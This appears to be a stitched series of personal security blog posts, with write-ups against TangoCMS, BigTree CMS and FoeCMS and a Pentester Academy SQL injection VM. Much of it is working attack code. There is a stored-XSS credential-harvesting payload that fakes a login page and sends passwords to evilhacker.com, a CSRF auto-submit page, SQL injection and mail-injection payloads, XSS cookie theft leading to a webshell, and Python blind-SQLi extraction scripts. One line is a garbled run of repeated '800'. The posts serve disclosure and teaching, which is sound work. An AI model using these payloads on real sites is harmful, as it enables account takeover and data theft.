        19 (0000004e) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->resultText Landroid/widget/TextView;
        20 (00000052) invoke-virtual      v0, v2, Landroid/widget/TextView;->setVisibility(I)V [ onClick-BB@0x58 ]

onClick-BB@0x58 :
        21 (00000058) return-void

onClick-BB@0x5a :
        22 (0000005a) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->resultText Landroid/widget/TextView;
        23 (0000005e) const-string        v1, "Incorrect password! :'-("
        24 (00000062) invoke-virtual      v0, v1, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
        25 (00000068) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->resultText Landroid/widget/TextView;
        26 (0000006c) const/high16        v1, -1
        27 (00000070) invoke-virtual      v0, v1, Landroid/widget/TextView;->setTextColor(I)V
        28 (00000076) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->resultText Landroid/widget/TextView;
        29 (0000007a) invoke-virtual      v0, v2, Landroid/widget/TextView;->setVisibility(I)V
        30 (00000080) goto                -20 [ onClick-BB@0x58 ]

***************************************************************************
########## XREF
####################

In [11]:

Here we can see the actual dalvik disassembly and decompile it ourself if need be.

Conclusion

So we've learnt a bit about Android and how we can begin to analyze the system more.

We have been introduced to the basic layout of Android and Android applications, as well as a few tools that can be used to look a little closer at them.

Hopefully this blog post has done a decent job of introducing the basics of Android and given ideas for further exploration.

Further Reading

Android Hacker's Handbook by Joshua J. Drake, Zach Lanier, Collin Mulliner, Pau Oliva Fora, Stephen A. Ridley, Georg Wicherski

Authenticated Stored XSS in TangoCMS

I decided to take a look at TangoCMS for vulnerabilities even though it has been discontinued.

To my surprise there wasn't a huge amount that I could find, I did, however, find an authenticated stored XSS vulnerability.

This post is the description of that vulnerability and how to exploit it.

The Vulnerability

The actual vulnerability exists in the article functionality.

While by default only the admin user is able to create new articles, it makes sense that other users would be given the permissions to create them.

There is some client side filtering going on that does HTML encoding, so if I create an article with the classic javascript alert payload:

What it actually sends is:

The relevant field contains:

1
%23%21html%0D%0A%3Cp%3E%26lt%3Bscript%26gt%3Balert%28%27xss%27%29%26lt%3B%2Fscript%26gt%3B%3C%2Fp%3E

If you URL decode this it is more clear:

1
2
#!html
<p>&lt;script&gt;alert('xss')&lt;/script&gt;</p>

So its HTML encoded the less than (<) and greater than (>) signs.

Fortunately this is very easy to beat by intecepting the request in burp and inserting our payload then:

Now if we visit the articles page the payload launches:

Exploitation

Even though we've clearly found an XSS vulnerability it is only avaliable to authenticated users who have the ability to create (or edit) articles.

On top of this, the session cookies that are used by the application aren't accessible to script code (they all have the HttpOnly flag set), as you can see when you login:

Because of all of this it isn't immediately obvious why this vulnerability is important at all, and a client could decide to ignore the vulnerability because of this, so I went about creating a decent POC payload that demonstrates the problem with this type of vulnerability.

I decided to create a credential harvesting exploit which hopefully would trick even the more security conscious users (obviously ignoring the ability to use BeEF, I like to show how to do things manually).

The main goal of this exploit is to be as stealthy as possible while stealing the credentials so we only want to attack currently logged in users and also we only want to attack each user once.

The first problem (attacking only logged in users) can be acheived by careful review of the client side source code:

Here you can see a div tag with the id sessionGreating and it contains an a tag whose innerHTML is the actual username (here the username is just user, really imaginative :-).

This obviously only shows to users that are currently logged in.

The fact that we can grab the username out of this helps us with the next part of our exploit.

To attack the user only once we will use localStorage, and by getting the username of the logged in user we can make sure that we still run our main payload for different users that use the same browser.

We can now build the start of our payload:

1
2
3
4
5
6
7
d=document.getElementById('sessionGreeting');
if (d) {
    n=d.getElementsByTagName('a')[0].innerHTML;
    if (!localStorage.getItem(n)) {
        [REST OF PAYLOAD]
    }
}

We could of course redirect any user that isn't logged in to the login screen but that would make it more noisy and I think it would be caught quicker.

At this point we know the user is logged in, we also know the username so we could target specific users if we wish but I will target all logged in users.

We could build the login page manually but it would be boring and hugely unnecessary.

The best way I can think of is by just using the real login page, to do this though we'll first need to log the user out, once logged out we can request the real login page:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
r=new XMLHttpRequest();
r.open("GET","http://tangocms/index.php?url=session/index/logout",true);
r.send();
r.onreadystatechange=function(){
    if(r.readyState==4){
        l=new XMLHttpRequest();
        l.open("GET","http://tangocms/index.php?url=session",true);
        l.send();
        l.onreadystatechange=function(){
            if(l.readyState==4){
                [REST OF PAYLOAD]
            }
        }
    }
}

Now we have the contents of the login page in l.responseText.

Before we write this to the screen we need to first make a couple of changes.

We need to hook the onsubmit event of the login form, that way we can run a function which steals the username and password before submitting the form.

We also need to tell the user why the login page is being displayed, if we just log the user straight out with no explaination, that might raise more suspicion than if an explaination is given.

For the explaination I think I'll go with the Your session has expired, please login again message, but we want this to look as realistic as possible so we want to display it how normal error messages are displayed on the site.

We can check this by failing a login:

Looking at the source code for this:

We can see that the message is put right after the h1 that contains a innerHTML of Login right before the form, which is the only form on the page.

We can also see that its contained within a div tag with the id of eventmsgError and a calls of eventmsg, and then inside a p tag.

With all of this information we should be able to create our custom error message using javascript:

1
2
3
4
5
6
7
d=document;
i=d.createElement('div');
i.id='eventmsgError';
i.className='eventmsg';
i.innerHTML="<p>Your session has expired, please login again</p>";
f=d.forms[0];
d.getElementById('content').children[0].insertBefore(i, f);

Obviously we can't use the normal document element for this but we can transform our responseText into a document object like this:

1
2
p=new DOMParser();
z=p.parseFromString(l.responseText,"text/html");

We need to hook the onsubmit event of the form but first we should replace the innerHTML of the document with our newly created login page:

1
document.documentElement.innerHTML=z.documentElement.innerHTML;

Now we can hook the onsubmit event:

1
2
3
4
5
6
7
8
document.forms[0].onsubmit=function(){
    u=document.getElementById('sessionIdentifier').value;
    pass=document.getElementById('sessionPassword').value;
    x=new XMLHttpRequest();
    x.open("GET","http://evilhacker.com?user="+u+"&pass="+pass,true);
    x.send();
    localStorage.setItem(n, "Done");
}

So after I steal the username and password and send it to my machine, I set the localStorage so that it doesn't run again for that user.

Obviously the URL that the username and password is sent to can be anything.

Lastly I want to implement 1 more thing that will make this attack look even more authentic.

I'm going to use pushState to change the URL that is shown in the address bar as the page is changed to the login page.

This will hopefully fool any user who is perceptive enough to look at the address bar to make sure they are on the login page.

Its worth baring in mind that this is only possible because the target URL is the same as the URL we are attacking from, it is not possible to do this for different domains:

1
2
s={ foo: "bar" };
history.pushState(s, "", "/index.php?url=session");

The state object is irrelavent for our purposes and the second argument to pushState (the title) is actually ignored, but will be sorted by the HTML anyway.

Its worth noting that I tried the exploit as is and it didn't work, here is why it didn't work:

The sessionGreeting div tag that we are using to check if the user is logged in is after the script, and as the script gets run when it is first encountered instead of when the full document is loaded the element doesn't exist yet so it doesn't get past the first if statement.

We can fix this easily using a callback that triggers when the document has finished loading:

1
2
3
4
5
document.onreadystatechange=function(){
    if(document.readyState=="complete"){
        [REST OF PAYLOAD]
    }
}

So now our full javascript payload can be created:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
document.onreadystatechange=function(){
    if(document.readyState=="complete"){

        d=document.getElementById('sessionGreeting');
        if (d) {
            n=d.getElementsByTagName('a')[0].innerHTML;
            if (!localStorage.getItem(n)) {
                r=new XMLHttpRequest();
                r.open("GET","http://tangocms/index.php?url=session/index/logout",true);
                r.send();
                r.onreadystatechange=function(){
                    if(r.readyState==4){
                        l=new XMLHttpRequest();
                        l.open("GET","http://tangocms/index.php?url=session",true);
                        l.send();
                        l.onreadystatechange=function(){
                            if(l.readyState==4){
                                p=new DOMParser();
                                z=p.parseFromString(l.responseText,"text/html");
                                i=z.createElement('div');
                                i.id='eventmsgError';
                                i.className='eventmsg';
                                i.innerHTML="<p>Your session has expired, please login again</p>";
                                f=z.forms[0];
                                z.getElementById('content').children[0].insertBefore(i, f);
                                s={ foo: "bar" };
                                history.pushState(s, "", "/index.php?url=session");
                                document.documentElement.innerHTML=z.documentElement.innerHTML;
                                document.forms[0].onsubmit=function(){
                                    u=document.getElementById('sessionIdentifier').value;
                                    pass=document.getElementById('sessionPassword').value;
                                    x=new XMLHttpRequest();
                                    x.open("GET","http://evilhacker.com?user="+u+"&pass="+pass,true);
                                    x.send();
                                    localStorage.setItem(n, "Done");
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

I URL encoded all of this using Burp:

Copy the output of the Burp encoder, intercept the request while editing the article again and put the encoded payload inbetween script tags after the article:

At this point I setup a python server listening on another host and in my payload I had put the IP address of this host with the port 8000.

Then I logged out and logged in as the admin user, when I went to view the article, it showed for a second but then displayed this page:

800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800

Obviously if this had happened right after login it might look a little suspicious but the user might have just put it down to an application bug, especially as it wouldn't happen again.

After logging in again on this page I saw this on my terminal running the python server:

1
2
3
4
D:\test>python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
win8 - - [20/Mar/2015 14:42:57] "GET /[email protected]&pass=admin HTTP/
1.1" 301 -

Now when viewing the article we see:

Obviously in a real attack we'd upload a less obvious article and probably a very interesting one that a lot of people would want to view.

Conclusion

Obviously the major issue here is the need to already have an account with article add/edit abilities but this could be achieved through phishing, brute forcing or just a malicious user.

But I hope this should demonstrate the need for XSS protection in every area of a web application.

It should also demonstrate a way in which accounts can by hijacked even without the ability to get password hashes and crack them or steal session cookies.

With a little imagination the sky is the limit!

Happy Hacking :-)

CSRF In BigTree CMS

Yesterday I found a cross site request forgery (CSRF) vulnerability in the latest version of BigTree CMS (at the time of writing version 1.4.5).

This is a little explaination of the vulnerability and how to exploit it.

The Vulnerability

The vulnerability is in the account settings request, which is used to change the account name, company and password.

A normal request looks like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST /site/index.php/admin/users/profile/update/ HTTP/1.1
Host: bigtree
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://bigtree/site/index.php/admin/users/profile/
Cookie: bigtree_admin[email]=admin%40admin.com; bigtree_admin[password]=%24P%24BtBKYRYkkk%2FMEvT%2F.XzNJO8j.6Z1bN%2F; PHPSESSID=iee0n5s0gu9b0ausud7hdqkql4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 44

name=Developer&password=newpassword&company=

The vulnerability exists in [BigTreeROOT]/core/admin/modules/users/profile/update.php:

1
2
3
4
5
<?
        $admin->updateProfile($_POST);
        $admin->growl("Users","Updated Profile");
        BigTree::redirect(ADMIN_ROOT."dashboard/");
?>

Here is clearly isn't doing any checks to prevent CSRF.

The Exploit

So exploiting this is very simple, you just have to lure someone who is already logged into the application is visit a page containing this code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<html>
  <body>
    <form method="post" action="http:/bigtree/site/index.php/admin/users/profile/update/" >
      <input type="hidden" name="name" value="admin" />
      <input type="hidden" name="password" value="newpassword" />
      <input type="hidden" name="company" value="foobar" />
    </form>
    <script>
      document.forms[0].submit()
    </script>
  </body>
</html>

The values here can be changed to anything, it just automatically issues a POST request to http:/bigtree/site/index.php/admin/users/profile/update/ with the following arguments:

name=admin&password=newpassword&company=foobar

Unfortunately it is reasonably intrusive because when loaded the victim will see this:

So the user will immediately know that their profile details might have changed.

The Fix

So I contacted Tim Buckingham (the lead developer for BigTree CMS) about this issue yesterday (on 7th March 2015) and he replied the next day informing me that he'd fixed the issue.

You can see the fix here.

The next full releases of BigTree CMS (4.1.6 and 4.0.10) should be out next week and will incorporate this fix.

Happy Hacking :-)

Update (07/04/2015): BigTree CMS have finally released the next version (4.2) that includes the fix, you can download the latest version from here.

Hacking FoeCMS

Today I decided to look at FoeCMS.

There are many known vulnerabilities for the older version of the application (version 1.6.5) but none that I could find for the current version (on Github).

I plan to develop a full attack against this application while looking for vulnerabilities.

Setting Up The App

I setup the application on Debian/Apache/PHP5/MySQL.

Its pretty easy to setup, just pull the code from github with:

git clone https://github.com/themarioga/FoeCMS.git

Place it in the webroot (or subfolder if you wish), set the permissions:

chown -R www-data:www-data /var/www

Then create the database and database user:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@foecms:~# mysql -u root -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 43
Server version: 5.5.41-0+wheezy1 (Debian)

Copyright (c) 2000, 2014, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> create database foecms;
Query OK, 1 row affected (0.00 sec)

mysql> grant all on foecms.* to 'foecms'@'localhost' identified by 'foecms';
Query OK, 0 rows affected (0.00 sec)

mysql> flush privileges;
Query OK, 0 rows affected (0.00 sec)

mysql> quit
Bye

Now its just a matter of finishing the installation through the browser, visiting the site we get directed to this:

These are the setting I'm using. Notice how only guests with intitations can register.

There is 1 thing left to do, remove or rename the install directory:

root@foecms:~# mv /var/www/install /var/www/install.old

Now that installation is finished when we visit the webpage we should be presented with this:

Some Vulnerabilities

Now we just need to use the application a bit and see what we can find.

Some SQL Injections

The first thing I done is change the language to English (by clicking the little union jack flag on the top of the page), this sends the following request:

http://foecms/index.php?i=2

Which sets the following cookie:

foecms_lang=2; expires=Mon, 09-Mar-2015 11:05:12 GMT

Here we already have 2 possible attack vectors (the value of the i parameter to index.php and the value of the foecms_lang cookie).

In fact both of these are vulnerable to SQL Injection, you can see this if you send this request:

http://foecms/index.php?i=2%27

Here is the full response:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
HTTP/1.1 200 OK
Date: Sun, 08 Mar 2015 11:12:31 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.36-0+deb7u3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: foecms_lang=2%27; expires=Mon, 09-Mar-2015 11:12:31 GMT
Vary: Accept-Encoding
Content-Length: 182
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<script>history.back();</script>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2''' at line 1

And now if you visit any page, you get the same response body:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2''' at line 1

To get rid of this error we need to remove the %27 from the cookie, I prefer Cookie Manager+ for this purpose:

And delete the PHPSESSID cookie:

Continuing to play about with the application I come across another page with an SQL injection vulnerability:

And an XSS is also possible:

I won't explain how to exploit these SQL injection vulnerabilities anymore, I've already done that pretty extensively in previous posts.

A Mail Injection Vulnerability

So Let's move on.

Clicking on Contact at the bottom of the site give you this, rather poorly written, page:

After putting in some arbitrary information, I set Burp to intercept the request, capture it and insert the following into the email address field:

%0aBCC:[email protected]

Here I am trying to inject another email address to send the email to:

Note: for the web application to be able to send emails externally (on the setup I have running) you need to enable it by running the following command and chosing Internet Site:

root@foecms:~# dpkg-reconfigure exim4-config

Checking the mailbox at mailinators website, we can see the email has been received:

Unfortunately the subject didn't get sent correctly but with a bit of testing I'm sure this could be refined to a more convincing email, and then this could be used as an email proxy to send out spam/phishing email.

A Logic Flaw

When trying to register, by visiting:

http://foecms/register.php

We get redirected to the following error:

This is because I set registration to invite only during installation.

After some testing I decided to add the cookie foecms_userid:

I did this because of the foecms_lang cookie. I then clicked on the link to the test post, which sent this request:

http://foecms/viewitem.php?i=1

I got an error message saying No items found and then redirected to the homepage again, where I see this:

So it appears that I have been logged in.

We also now have the extra User Control Panel button, which gives us:

It looks like even though we're logged in, we're not logged in as anyone in particular, which means we have limited functionailty.

For instance, we can't change any account details because our session doesn't appear to belong to an account.

Inviting Myself

I did, however, have access to the invitation page:

After sending an invitation we get this:

So it tells us the URL to visit. Here is the email that is received:

This email isn't really helpful but the application has already given us the registration URL.

The problem is when we visit it we get this:

Fixing The App

The problem we face here seems to be a problem in the application itself.

It doesn't seem to be prepending the prefix to the table name.

Obviously this would have been fixed on a production website so I just fixed this manually by editing /var/www/include/functions.php, line 336, and changing it from:

1
$res = mysql_query("SELECT * FROM ".$MYSQL_PREFIX."invitation WHERE inv_session LIKE '".mysql_real_escape_string($inv)."'") or die(mysql_error());

And replacing it with this:

1
$res = mysql_query("SELECT * FROM foe_invitation WHERE inv_session LIKE '".mysql_real_escape_string($inv)."'") or die(mysql_error());

So I'm just hardcoding the prefix into the query, not the best fix but it will work for our purposes.

Now when we visit the registration page we get:

Obviously, if we want to create an account we probably want to give it a less obvious name but we are only testing here.

Here is the welcome email you receive after registration:

The main thing we can get from this is that our email is sent in plain text and its encrypted as MD5.

XSS Via SQL Injection

Actually, after this next vulnerability it might not have been necessary to create an account but the account will come in useful for testing it.

Now that we have an account we can try sending a message to it:

Logging into the new hacker acccount we can see we've received a new message:

But clicking on this message show us this (after some form of redirect):

Looking at the code in Burp we can see why this redirect happened:

But the message was displayed:

Now I did try a number of things to perform an XSS attack but was unable to.

But trying to send another message but with message' in the message box we get the following error:

Clearly we have another SQL injection vulnerability but this time in an INSERT statement.

The error tells us that we are injecting right at the end of the statement, so what we'll do is close off the current row and insert a new row, we'll also need to comment out anything after our injection.

So our injection should look as follows:

message'),([our new record]); --

The problem we've got is we don't know the number of columns or their types used in the statement.

We could use 1 of the other SQL injections to query the information_schema to get that information but we can use a different method.

Because NULL can be typecast to any type in MySQL, we can just keep increasing the number of NULL's until we no longer get an error.

There will likely be at least 4 columns (from, to, title and message), so lets start there by sending:

message'),(null,null,null,null); --

We got another error!

Looking at the request in Burp we can see why:

It seems the browser has stripped the last space from the message, which on other DBMSs it wouldn't be a problem but on MySQL it is, so we will use Burp's Repeater to do this injection:

Now we can edit the request in a lot more detail and sending it is successful:

This means there there are only 4 fields (assumably form, to, title and message).

Obviously, this isn't helpful because we've not filled in any of the fields so the message will not actually go to anyone.

The problem is that we don't know the types of the fields (at least the from and to fields) or the positions of any of them other than the message field.

In this case a bit of trial and error is normally required but luckily the first thing I tried turned out to be fruitful:

Hewre I am just injecting (1,2,3,4) as our new record.

After logging into the hacker account and checking the messages, we have recieved a message from admin with the title 3:

As its showing up as being from admin its likely that the first field is the from field and its using the userid instead of the username.

Also, this means the hacker user likely has a userid of 2.

Clicking on the message, we get:

So it no longer redirects, what that probably means is that because we were sending the message from a nonexistent account the redirect happens but when its sent from a valid userid the redirect doesn't happen.

So now we can test sending an XSS payload:

Viewing this message:

So some sanitization has been done.

We can use MySQL's CHAR and CONCAT functions to avoid using < or >.

We do this by putting the following in the message field:

1
concat('message',char(60),'script',char(62),'alert("xss")',char(60),'/script',char(62))

And viewing this message:

Success!

Now we just have to craft a payload that we can use to steal the admin users session cookies (as the cookies aren't protected with the httponly flag its possible to do this using javascript).

One way of doing that is the following:

1
2
3
4
5
6
p="receiver=hacker%26topic=mycookies%26message="%2bdocument.cookie;
r=new+XMLHttpRequest();
r.open("POST","/ucp/index.php?c=2",true);
r.setRequestHeader("Content-type","application/x-www-form-urlencoded");
r.setRequestHeader("Content-length",p.length);
r.send(p);

Here I'm just sending a message to the account I created with the cookies as the message.

I could have just sent to cookie in a HTTP request to any server on the internet and got the cookie that way but I thought this would be fun :-)

Viewing this with firebug we can see that the request was made:

However, as you can see here (from the response in firebug) the request failed:

This was only because the application doesn't allow sending messages to yourself, when we attack the admin account it will be sending the message to the hacker account.

I think its time to test the attack on the admin:

Notice above that I substituted any instance of & with char(38), this was because the application was converting & for & which broke the attack.

Now logging in as admin (with firebug running so we can see the request):

Now if we check the hacker users messages (obviously from a different browser so we don't expire the admin's session):

Finding RCE

We can now hijack the admin's session, there are a number of ways to do this, all we need to do is add the PHPSESSID cookie to our browser.

This time I'm going to do that by setting Burp as the proxy and intercepting the response from the server to add a Set-Cookie header:

Now if we reload the homepage we are logged into the admin account.

An Unrestricted File Upload Vulnerability

There is now another button on the top of the site Admin's Panel, looking through that a bit give us a good option for a file upload vulnerability:

This seemed to work fine, we just need to figure out where it uploaded to.

Visiting the homepage showed a new section with a broken image (assumably the image that I didn't upload when uploading my backdoor:

Right clicking and copying the link to that broken image gave me the following link:

http://foecms/storecontent/image/test/cmd

Browsing about in this storecontent directory led me to where the actual backdoor had been uploaded:

And now we can run commands on the server:

PWNED!!! :-D

Conclusion

As you can see, there can be a lot of steps involved in attacking a web application, especially if you want to make the most out of the attack.

Yes, I could have used the first SQL injection attack to find the admin account details and crack the password (as in my previous post) but firstly, if the admin accounts password is sufficiently secure and encrypted then it might not be feasible to crack it, and secondly I wanted to demonstrate another of the many ways a web application could be comprimised.

Happy Hacking :-)

Further Reading

I'll advise the exact same further reading as in my previous post because they are all still relevant.

A Web Hack

So the other day I ran across this.

Its a virtualbox VM containing load of web applications vulnerable to SQL injection put together by Pentester Academy.

I've been a member of Pentester Academy from the very start (as well as having done a few of Securitytube's earlier courses), which I highly recommend, but I've never seen this VM.

In fact there are 2 VM's on this account that I've never seen before, I've seen both the arbirary file upload VM and the command injection VM (which I done a post about 1 of the applications here) but both the SQL injection and XSS/CRSF I'd never seen before.

So I decided to give it a go.

I've done a few of the challenges and they have been very fun so far but there is 1 I'd like to share.

With these challenges I'm trying to approach them from a web analysis point of view, so I'm looking for many different vulnerablities and not just to SQL injection.

Also I'm not using any public information about the applications to attack them and I'm doing the attacks from a completely blind approach (with no access to the machine or source code at all).

The Vulnerable App

The application I will be demonstrating is Bigtree-CMS.

Its an old version of the application and I won't be downloading the source and looking at that I will just be pretending that the source code is unavaliable.

So if we download the VM, import it into virtualbox boot it up and visit:

http://[ip]/BigTree-CMS/

We are 302 redirected and see the following:

Most likely something has gone wrong here, its worth noting here that I always setup the web browser that I am using to analyse a website to go through burp suite, so let's look at burp to see what happened:

So as you can see the application is pointing to itself via localhost meaning it is using absolute links and not relative. This is probably because the application was setup using localhost as its name.

We'll have to use burp to rewrite all of the responses:

Now if we reload the page we get:

A Quick Analysis

So we have the application working normally, its time to explore it.

There is only 1 thing we know for certain about this application, and that is that it is vulnerable to an SQL injection.

If you click on the Glossary link in the top right of the homepage, you get redirected to the following url:

http://[ip]/BigTree-CMS/site/index.php/glossary/acid/

This suggests that the site is using REST-style urls, which basically means the values from normal url query paramerters are integrated into the url itself. So, in regards to a search function, instead of this url:

http://[website]/[path]?search=foobar

You would have:

http://[website]/[path]/search/foobar

What this means is parts of the url can se treated as a parameter would be treated.

Also, after putting in the following url:

http://[ip]/BigTree-CMS/site/index.php/admin/

We get redirected to the following page:

I tried looking for SQL injections into the login but it appeared to be reasonably secure.

Also there doesn't appear to be a signup link anywhere and going to:

http://[ip]/BigTree-CMS/site/index.php/admin/signup/

Redirects to the login page, and:

http://[ip]/BigTree-CMS/site/index.php/signup/

404's

An SQL Injection

I'm going to rush through this section because there is a lot of trial and error involved in determining the database and building; and refining the injection attack but I go into that in much more detail in my SQL Injections post.

So my focus turned to the url parameters. I first tried:

http://[ip]/BigTree-CMS/site/index.php/glossary/acid%27/

But got redirected back to:

http://[ip]/BigTree-CMS/site/index.php/glossary/acid/

So I tried the quote next to glossary and this happened:

This is very helpful, it actually tells us the full query we are injecting into:

Unfortunately it doesn't allow us to retrieve arbitrary information to the screen (at least that I could find) or even tell us the number of columns that the original query returns.

Obviously we can figure out the number of columns is 3 using SQL's ORDER BY because the lowest number to fail is:

http://[ip]/BigTree-CMS/site/index.php/glossary%27%20order%20by%204%20--%20/acid/

The easiest method I found of exploiting this was by using a time-based approach, I assume you could use a content-based approach by way of a forced error or ensuring no records were returned (and getting returned a 404) but I'm not on a time constraint so I wasn't too bothered.

So I first wrote a script to give me the database name (or at least a database name) and 1 of its table names:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python

import urllib2
import sys
import string
import timeit

max = 0
charset = string.printable

if len(sys.argv) < 2:
    max = 50
else:
    max = int(sys.argv[1])

for i in xrange(max):
    check = False
    for c in charset:
        requesturl = "http://sqli/BigTree-CMS/site/index.php/admin%27%20" \
                 "union%20select%20null,null,case%20when%20ascii%28substr%28" \
                 "%28select%20concat%28table_schema,%27%20:%20%27,table_name" \
                 "%29%20from%20information_schema.tables%20where%20" \
                 "table_schema!=%27information_schema%27%20limit%201%29," \
                 "{0},1%29%29={1}%20then%20sleep(3)" \
                 "%20else%201%20end%20--%20/acid/" \
                 .format(str(i+1), str(ord(c)))
        command = "import urllib2;u=\"{0}\";" \
                          "proxy=urllib2.ProxyHandler({'http': '127.0.0.1:8080'});" \
                          "opener=urllib2.build_opener(proxy);" \
                          "opener.addheaders=[('User-agent', 'Mozilla/5.0 (Windows NT 6.3; WOW64;" \
                          " rv:35.0) Gecko/20100101 Firefox/35.0')," \
                          " ('Accept', 'text/html'), ('Accept-Language', 'en_US,en;q=0.5')]"
              .format(requesturl)
        t = timeit.Timer("opener.open(u)", command)
        if t.timeit(number=1)>3.0:
            check = True
            sys.stdout.write(c)
            break

    if not check:
        break

print ''

Believe it or not, this is how I write scripts, stright url encoded (mostly) and normally have the string on 1 line (I've put it on multiple lines here for readability).

For those of you not as used to url encoding and SQL, here is what I'm injecting:

' union select null,null,case when ascii(substr((select concat(table_schema,' : ',table_name) from information_schema.tables where table_schema!='information_schema' limit 1),[position],1))=[character ascii value] then sleep(3) else 1 end --

Then I'm checking to see if the response took longer than 3 seconds (we could increase this based on how quickly the website normally takes to respond).

I'm sending it through the proxy at 127.0.0.1:8080 (which is burp) so that burp can rewrite the relevant content and headers automatically, even though it shouldn't make a difference I thought it wouldn't hurt.

When run we get this:

1
2
C:\Users\User>python "D:\vms\PentesterAcademy\SQL Injection\BigTree-CMS-database.py"
bigtree : bigtree_404s

So we now have the database name and a table name from it, this is likely not the table we are really interested in though so another script is required to find out the rest of the table names:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python

import urllib2
import sys
import string
import timeit

max = 0
charset = string.printable

if len(sys.argv) < 2:
    max = 50000
else:
    max = int(sys.argv[1])

for i in xrange(max):
    check = False
    for c in charset:
        requesturl = "http://sqli/BigTree-CMS/site/index.php/admin%27%20" \
